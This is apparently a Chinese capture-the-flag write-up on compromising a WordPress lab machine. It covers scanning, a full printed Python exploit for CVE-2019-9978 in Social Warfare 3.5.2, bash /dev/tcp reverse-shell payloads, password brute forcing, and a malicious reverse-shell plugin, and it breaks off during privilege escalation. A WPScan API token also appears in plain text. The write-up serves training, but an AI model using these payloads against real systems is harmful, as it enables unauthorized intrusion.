New

靶机说明

QQ群:660930334

主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/tmp]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-02 15:31 CST
Nmap scan report for 192.168.2.1
Host is up (0.00029s latency).
MAC Address: 0A:00:27:00:00:0A (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.00015s latency).
MAC Address: 08:00:27:B2:2E:24 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.43
Host is up (0.00033s latency).
MAC Address: 08:00:27:AF:2D:61 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.16 seconds

靶机IP地址:192.168.2.43

端口扫描

1、全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/tmp]
└─# nmap --min-rate 10000 -p- 192.168.2.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-02 15:31 CST
Nmap scan report for 192.168.2.43
Host is up (0.00039s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:AF:2D:61 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 3.75 seconds

开放端口:22和80

2、详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(root㉿kali)-[/tmp]
└─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-02 15:32 CST
Nmap scan report for 192.168.2.43
Host is up (0.0068s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: Apache/2.4.62 (Debian)
|_http-generator: WordPress 6.8.1
|_http-title: Hi Maze
MAC Address: 08:00:27:AF:2D:61 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.79 seconds

发现网站下面存在两个目录robots.txtwp-admin

3、UDP端口扫描

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/tmp]
└─# nmap -sU --top-ports 100 192.168.2.43
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-02 16:14 CST
Nmap scan report for 192.168.2.43
Host is up (0.00098s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:AF:2D:61 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 108.43 seconds

无开放的端口

WEB渗透

访问80端口

发现是使用WordPress搭建的网站

同时在端口详细信息扫描时发现了两个目录robots.txtwp-admin,依次访问查看

  • robots.txt:存在两个目录/wp-admin/wp-admin/admin-ajax.php

    1
    2
    3
    4
    5
    ┌──(root㉿kali)-[/tmp]
    └─# curl http://192.168.2.43/robots.txt
    User-agent: *
    Disallow: /wp-admin/
    Allow: /wp-admin/admin-ajax.php
  • wp-admin:被重定向到了一个域名new.dsz

  • 访问robots.txt里面的路径/wp-admin/admin-ajax.php,显示0

    1
    2
    3
    ┌──(root㉿kali)-[/tmp]
    └─# curl http://192.168.2.43/wp-admin/admin-ajax.php
    0

追加域名new.dszhosts文件中

1
2
┌──(root㉿kali)-[/tmp]
└─# echo "192.168.2.43 new.dsz" >> /etc/hosts

再次访问wp-admin:进入到WordPress的管理界面

1、wpscan扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
┌──(root㉿kali)-[/tmp]
└─# wpscan --url http://new.dsz/ --api-token Jrh7ozpao7LtkyqVZwMeXCKeqJN0zHplyeG8SaQU124 -e u,vp
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | _ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://new.dsz/ [192.168.2.43]
[+] Started: Wed Jul 2 21:11:29 2025

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.62 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] robots.txt found: http://new.dsz/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://new.dsz/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://new.dsz/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://new.dsz/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
| Found By: Rss Generator (Passive Detection)
| - http://new.dsz/feed/, <generator>https://wordpress.org/?v=6.8.1</generator>
| - http://new.dsz/comments/feed/, <generator>https://wordpress.org/?v=6.8.1</generator>

[+] WordPress theme in use: twentytwentyfive
| Location: http://new.dsz/wp-content/themes/twentytwentyfive/
| Latest Version: 1.2 (up to date)
| Last Updated: 2025-04-15T00:00:00.000Z
| Readme: http://new.dsz/wp-content/themes/twentytwentyfive/readme.txt
| Style URL: http://new.dsz/wp-content/themes/twentytwentyfive/style.css?ver=1.2
| Style Name: Twenty Twenty-Five
| Style URI: https://wordpress.org/themes/twentytwentyfive/
| Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://new.dsz/wp-content/themes/twentytwentyfive/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating Vulnerable Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] social-warfare
| Location: http://new.dsz/wp-content/plugins/social-warfare/
| Last Updated: 2025-03-18T09:37:00.000Z
| [!] The version is out of date, the latest version is 4.5.6
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By:
| Urls In 404 Page (Passive Detection)
| Comment (Passive Detection)
|
| [!] 8 vulnerabilities identified:
|
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Arbitrary Settings Update
| Fixed in: 3.5.3
| References:
| - https://wpscan.com/vulnerability/32085d2d-1235-42b4-baeb-bc43172a4972
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9978
| - https://wordpress.org/support/topic/malware-into-new-update/
| - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
| - https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/
| - https://twitter.com/warfareplugins/status/1108826025188909057
| - https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/
|
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
| Fixed in: 3.5.3
| References:
| - https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
| - https://www.webarxsecurity.com/social-warfare-vulnerability/
|
| [!] Title: Social Warfare < 4.3.1 - Subscriber+ Post Meta Deletion
| Fixed in: 4.3.1
| References:
| - https://wpscan.com/vulnerability/5116068f-4b84-42ad-a88d-03e46096b41c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0402
|
| [!] Title: Social Warfare < 4.4.0 - Post Meta Deletion via CSRF
| Fixed in: 4.4.0
| References:
| - https://wpscan.com/vulnerability/7140abf5-5966-4361-bd51-ee29d3071a30
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0403
|
| [!] Title: Social Sharing Plugin - Social Warfare < 4.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
| Fixed in: 4.4.4
| References:
| - https://wpscan.com/vulnerability/ab221b58-369e-4010-ae36-be099b2f4c9b
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4842
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/8f5b9aff-0833-4887-ae59-df5bc88c7f91
|
| [!] Title: Social Sharing Plugin – Social Warfare < 4.4.6.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Shortcode
| Fixed in: 4.4.6.2
| References:
| - https://wpscan.com/vulnerability/26ad138e-990a-4401-84e4-ea694ccf6e7f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1959
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/1016f16c-0ab2-4cac-a7a5-8d93a37e7894
|
| [!] Title: Social Sharing Plugin – Social Warfare < 4.4.6 - Cross-Site Request Forgery
| Fixed in: 4.4.6
| References:
| - https://wpscan.com/vulnerability/acb8b33c-6b74-4d65-a3a5-5cad0c1ea8b0
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34825
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/f105bee6-21b2-4014-bb0a-9e53c49e29b0
|
| [!] Title: Social Warfare < 4.5.6 - Contributor+ Stored XSS
| Fixed in: 4.5.6
| References:
| - https://wpscan.com/vulnerability/447065f5-f2f9-4e0c-b524-c730655f3d79
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-26973
| - https://patchstack.com/database/wordpress/plugin/social-warfare/vulnerability/wordpress-social-warfare-plugin-4-5-4-cross-site-scripting-xss-vulnerability
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://new.dsz/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
| Query Parameter (Passive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2
| - http://new.dsz/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2
| Readme - Stable Tag (Aggressive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] maze-sec
| Found By: Rss Generator (Passive Detection)
| Confirmed By:
| Wp Json Api (Aggressive Detection)
| - http://new.dsz/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] todd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] hyh
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] sublarge
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 4
| Requests Remaining: 17

[+] Finished: Wed Jul 2 21:11:46 2025
[+] Requests Done: 69
[+] Cached Requests: 8
[+] Data Sent: 18.079 KB
[+] Data Received: 703.923 KB
[+] Memory used: 277.141 MB
[+] Elapsed time: 00:00:16

找到一个漏洞Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)

2、Getshell

1-CVE-2019-9978漏洞利用

该 版 本 Social Warfare v3.5.2 存 在 CVE-2019-9978 漏 洞
https: //www.exploit-db.com/exploits/52346

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#!/usr/bin/env python3

# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
# Date: 25-06-2025
# Exploit Author: Huseyin Mardini (@housma)
# Original Researcher: Luka Sikic
# Original Exploit Author: hash3liZer
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# Version: <= 3.5.2
# CVE: CVE-2019-9978
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
# Python Version: Python 3.x
# Reference: https://www.exploit-db.com/exploits/46794
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978

# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments

# Usage:
# 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP.
# 2. Run the script: `python3 exploit.py`
# 3. It will:
# - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)
# - Start an HTTP server on `HTTP_PORT` to host the payload
# - Start a Netcat listener on `LISTEN_PORT`
# - Trigger the vulnerability via the vulnerable `swp_debug` parameter
# 4. On success, you get a reverse shell as `www-data`.
#
# Note:
# - PAYLOAD_FILE defines only the name of the file to be created and served.
# - Make sure ports 8001 and 4444 are open and not in use.

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com" # Change to your attack wordpress
ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"


def create_payload():
"""Write exact reverse shell payload using valid PHP syntax"""
payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>'
with open(PAYLOAD_FILE, "w") as f:
f.write(payload)
print(f"[+] Payload written to {PAYLOAD_FILE}")


def start_http_server():
"""Serve payload over HTTP"""
handler = http.server.SimpleHTTPRequestHandler
with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
print(f"[+] HTTP server running at port {HTTP_PORT}")
httpd.serve_forever()


def start_listener():
"""Start Netcat listener"""
print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])


def send_exploit():
"""Trigger the exploit with vulnerable parameter"""
payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
print(f"[+] Sending exploit: {exploit}")
try:
requests.get(exploit, timeout=5)
except requests.exceptions.RequestException:
pass


def main():
create_payload()

# Start web server in background
http_thread = threading.Thread(target=start_http_server, daemon=True)
http_thread.start()
time.sleep(2) # Give server time to start

# Start listener in background
listener_thread = threading.Thread(target=start_listener)
listener_thread.start()
time.sleep(1)

# Send the malicious request
send_exploit()


if __name__ == "__main__":
try:
main()
except KeyboardInterrupt:
print("[-] Interrupted by user.")

修改目标地址和本机IP后,直接使用脚本运行

1
2
3
4
5
6
7
8
9
10
11
┌──(root㉿kali)-[/miao/maze-sec]
└─# vi exploit.py

┌──(root㉿kali)-[/miao/maze-sec]
└─# python3 exploit.py
[+] Payload written to payload.txt
[+] HTTP server running at port 8000
[+] Listening on port 4444 for reverse shell...
listening on [any] 4444 ...
[+] Sending exploit: http://new.dsz/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://192.168.2.4:8000/payload.txt
192.168.2.43 - - [02/Jul/2025 21:38:53] "GET /payload.txt?swp_debug=get_user_options HTTP/1.1" 200 -

成功获取到www-data的权限

1
2
3
4
5
6
7
8
9
┌──(root㉿kali)-[/miao/maze-sec/New]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.43] 55424
bash: cannot set terminal process group (471): Inappropriate ioctl for device
bash: no job control in this shell
www-data@New:/var/www/new.dsz/wp-admin$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

2-Wordpress密码爆破

根据wpscan扫描到的用户maze-sectoddhyhsublarge,尝试进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
┌──(root㉿kali)-[/miao/maze-sec/New]
└─# bash generate_by_username.sh sublarge > pass .txt

┌──(root㉿kali)-[/miao/maze-sec/New]
└─# wpscan --url http://new.dsz/ --api-token Jrh7ozpao7LtkyqVZwMeXCKeqJN0zHplyeG8SaQU124 -U sublarge -P pass.txt
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | _ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.27
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://new.dsz/ [192.168.2.43]
[+] Started: Wed Jul 2 22:53:39 2025

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.62 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] robots.txt found: http://new.dsz/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://new.dsz/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://new.dsz/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://new.dsz/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.8.1 identified (Latest, released on 2025-04-30).
| Found By: Rss Generator (Passive Detection)
| - http://new.dsz/feed/, <generator>https://wordpress.org/?v=6.8.1</generator>
| - http://new.dsz/comments/feed/, <generator>https://wordpress.org/?v=6.8.1</generator>

[+] WordPress theme in use: twentytwentyfive
| Location: http://new.dsz/wp-content/themes/twentytwentyfive/
| Latest Version: 1.2 (up to date)
| Last Updated: 2025-04-15T00:00:00.000Z
| Readme: http://new.dsz/wp-content/themes/twentytwentyfive/readme.txt
| Style URL: http://new.dsz/wp-content/themes/twentytwentyfive/style.css?ver=1.2
| Style Name: Twenty Twenty-Five
| Style URI: https://wordpress.org/themes/twentytwentyfive/
| Description: Twenty Twenty-Five emphasizes simplicity and adaptability. It offers flexible design options, suppor...
| Author: the WordPress team
| Author URI: https://wordpress.org
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://new.dsz/wp-content/themes/twentytwentyfive/style.css?ver=1.2, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] *
| Location: http://new.dsz/wp-content/plugins/*/
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By: Urls In 404 Page (Passive Detection)
|
| The version could not be determined.

[+] social-warfare
| Location: http://new.dsz/wp-content/plugins/social-warfare/
| Last Updated: 2025-03-18T09:37:00.000Z
| [!] The version is out of date, the latest version is 4.5.6
|
| Found By: Urls In Homepage (Passive Detection)
| Confirmed By:
| Urls In 404 Page (Passive Detection)
| Comment (Passive Detection)
|
| [!] 8 vulnerabilities identified:
|
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Arbitrary Settings Update
| Fixed in: 3.5.3
| References:
| - https://wpscan.com/vulnerability/32085d2d-1235-42b4-baeb-bc43172a4972
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9978
| - https://wordpress.org/support/topic/malware-into-new-update/
| - https://www.wordfence.com/blog/2019/03/unpatched-zero-day-vulnerability-in-social-warfare-plugin-exploited-in-the-wild/
| - https://threatpost.com/wordpress-plugin-removed-after-zero-day-discovered/143051/
| - https://twitter.com/warfareplugins/status/1108826025188909057
| - https://www.wordfence.com/blog/2019/03/recent-social-warfare-vulnerability-allowed-remote-code-execution/
|
| [!] Title: Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE)
| Fixed in: 3.5.3
| References:
| - https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
| - https://www.webarxsecurity.com/social-warfare-vulnerability/
|
| [!] Title: Social Warfare < 4.3.1 - Subscriber+ Post Meta Deletion
| Fixed in: 4.3.1
| References:
| - https://wpscan.com/vulnerability/5116068f-4b84-42ad-a88d-03e46096b41c
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0402
|
| [!] Title: Social Warfare < 4.4.0 - Post Meta Deletion via CSRF
| Fixed in: 4.4.0
| References:
| - https://wpscan.com/vulnerability/7140abf5-5966-4361-bd51-ee29d3071a30
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-0403
|
| [!] Title: Social Sharing Plugin - Social Warfare < 4.4.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode
| Fixed in: 4.4.4
| References:
| - https://wpscan.com/vulnerability/ab221b58-369e-4010-ae36-be099b2f4c9b
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4842
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/8f5b9aff-0833-4887-ae59-df5bc88c7f91
|
| [!] Title: Social Sharing Plugin – Social Warfare < 4.4.6.2 - Authenticated(Contributor+) Stored Cross-Site Scripting via Shortcode
| Fixed in: 4.4.6.2
| References:
| - https://wpscan.com/vulnerability/26ad138e-990a-4401-84e4-ea694ccf6e7f
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-1959
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/1016f16c-0ab2-4cac-a7a5-8d93a37e7894
|
| [!] Title: Social Sharing Plugin – Social Warfare < 4.4.6 - Cross-Site Request Forgery
| Fixed in: 4.4.6
| References:
| - https://wpscan.com/vulnerability/acb8b33c-6b74-4d65-a3a5-5cad0c1ea8b0
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-34825
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/f105bee6-21b2-4014-bb0a-9e53c49e29b0
|
| [!] Title: Social Warfare < 4.5.6 - Contributor+ Stored XSS
| Fixed in: 4.5.6
| References:
| - https://wpscan.com/vulnerability/447065f5-f2f9-4e0c-b524-c730655f3d79
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-26973
| - https://patchstack.com/database/wordpress/plugin/social-warfare/vulnerability/wordpress-social-warfare-plugin-4-5-4-cross-site-scripting-xss-vulnerability
|
| Version: 3.5.2 (100% confidence)
| Found By: Comment (Passive Detection)
| - http://new.dsz/, Match: 'Social Warfare v3.5.2'
| Confirmed By:
| Query Parameter (Passive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/assets/css/style.min.css?ver=3.5.2
| - http://new.dsz/wp-content/plugins/social-warfare/assets/js/script.min.js?ver=3.5.2
| Readme - Stable Tag (Aggressive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/readme.txt
| Readme - ChangeLog Section (Aggressive Detection)
| - http://new.dsz/wp-content/plugins/social-warfare/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:02 <================================================================> (137 / 137) 100.00% Time: 00:00:02

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
Trying sublarge / sublarge2025 Time: 00:00:00 <================================================================> (1 / 1) 100.00% Time: 00:00:00
Trying sublarge / sublarge2025 Time: 00:00:00 <================================ > (1 / 2) 50.00% ETA: ??:??:??
[SUCCESS] - sublarge / sublarge2025

[!] Valid Combinations Found:
| Username: sublarge, Password: sublarge2025

[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 4
| Requests Remaining: 13

[+] Finished: Wed Jul 2 22:53:57 2025
[+] Requests Done: 186
[+] Cached Requests: 7
[+] Data Sent: 46.455 KB
[+] Data Received: 394.551 KB
[+] Memory used: 278.145 MB
[+] Elapsed time: 00:00:17

得到网站的用户名和密码:sublarge:sublarge2025

登录网站

创建一个简单反弹shell的插件

1
2
3
4
5
6
7
8
9
10
11
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin for penetration testing.
* Version: 1.0
* Author: Security Analyst
* Author URI: http://www.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
?>

压缩成zip压缩包

1
2
3
4
5
6
┌──(root㉿kali)-[/miao/maze-sec/New]
└─# vi wp_re.php

┌──(root㉿kali)-[/miao/maze-sec/New]
└─# zip wp_re.zip wp_re.php
adding: wp_re.php (deflated 29%)

安装插件,开启监听后,启用插件,成功获取shell

1
2
3
4
5
6
7
┌──(root㉿kali)-[/miao/maze-sec/New]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.4] from (UNKNOWN) [192.168.2.43] 54594
bash: cannot set terminal process group (471): Inappropriate ioctl for device
bash: no job control in this shell
www-data@New:/var/www/new.dsz/wp-admin$

USER FLAG
/home目录下面有两个用户ahizandeli
andeli用户权限不足,无法进入

1
2
3
www-data@New:/home$ cd andeli
cd andeli
bash: cd: andeli: Permission denied

成功获取到user flag

1
2
3
www-data@New:/home/ahiz$ cat user.txt
cat user.txt
flag{user-7b03ed18-5665-11f0-865b-5b1db8a6483b}

提权

1、获取andeli权限

/opt目录下面存在一个文件andeli_cred

1
2
3
4
5
6
www-data@New:/opt$ ls -la
ls -la
total 28
drwxr-xr-x 2 root root 4096 Jul 1 06:34 .
drwxr-xr-x 18 root root 4096 Mar 18 20:37 ..
-rwx--x--x 1 root root 16840 Jul 1 06:33 andeli_cred

发现拥有执行权限,尝试运行,运行后发现是md5值,查看前面的行数

1
2
3
4
5
6
7
8
9
10
11
12
13
www-data@New:/opt$ ./andeli_cred > /tmp/1.txt
www-data@New:/tmp$ cat 1.txt|head
cat 1.txt|head
